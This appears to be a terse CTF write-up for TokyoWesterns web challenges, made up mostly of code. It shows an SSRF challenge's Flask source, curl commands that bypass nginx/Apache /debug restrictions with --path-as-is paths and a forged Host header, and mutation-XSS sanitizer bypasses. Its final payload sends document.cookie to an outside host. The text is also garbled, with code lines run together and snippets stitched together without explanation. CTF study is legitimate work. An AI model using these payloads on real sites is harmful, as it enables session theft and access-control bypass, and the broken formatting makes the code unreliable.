import os, re, time, ipaddress, socket, requests, flaskfrom urllib.parse import urlparse
app = flask.Flask(__name__)app.flag = '***CENSORED***'
def valid_ip(ip):    try:        result = ipaddress.ip_address(ip)        # Stay out of my private!        return result.is_global    except:        return False
def valid_fqdn(fqdn):    return valid_ip(socket.gethostbyname(fqdn))
def get(url, recursive_count=0):    r = requests.get(url, allow_redirects=False)    if 'location' in r.headers:        if recursive_count > 2:            return '🤔'        url = r.headers.get('location')        if valid_fqdn(urlparse(url).netloc) == False:            return '🤔'        return get(url, recursive_count + 1)    return r.text
@app.route('/admin-status')def admin_status():    if flask.request.remote_addr != '127.0.0.1':        return '🥺'    return app.flag
@app.route('/check-status')def check_status():    url = flask.request.args.get('url', '')    if valid_fqdn(urlparse(url).netloc) == False:        return '🥺'    return get(url)

furl = urlparse(url).netloc
ip = socket.gethostbyname(furl)
is_global = ipaddress.ip_address(ip).is_global

 server {      listen 8080 default_server;
      root /var/www/html;
      server_name _;
      location / {        proxy_pass http://app;        proxy_set_header Host $host;      }      location /debug {        # IP address restriction.        # TODO: add allowed IP addresses here        allow 127.0.0.1;        deny all;      }    }

curl --path-as-is 'http://universe.chal.ctf.westerns.tokyo/debug/answer'

 server.get('/api/true-answer', (req, res) => {    console.log('HIT: %s', req.ip)    if (req.ip.match(/127.0.0.1/)) {      res.json(`hello admin, this is true answer: ${process.env.FLAG2}`)    } else {      res.status(500).send('Access restricted!')    }  });

curl 'http://universe.chal.ctf.westerns.tokyo' -H 'Host: debuganswer'

<VirtualHost *:80>  <Location /debug>    Order Allow,Deny    Deny from all  </Location>
  ProxyRequests Off  ProxyPreserveHost on  ProxyPass / http://nginx:8080/</VirtualHost>

curl --path-as-is 'http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer)'

<form><math><mtext></form><form><mglyph><style><img src=x onerror=alert()>

而刚才js里面对这个的防护只是删除了form子代的math标签

var elms = ["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"];
for(let el of elms){    let p = `<form><math><mtext></form><${el}><mglyph><style><img>`;    document.body.innerHTML = p;    let old = document.body.innerHTML;    document.body.innerHTML = old;        if(document.body.innerHTML != old){            console.log(p);        }}

<math><mtext><table><mglyph><style><img src=x onerror=alert()>

<math><mtext><table><mglyph><style><img src=x onerror=location=location.pathname+/terjanq.me/+document.cookie>

后记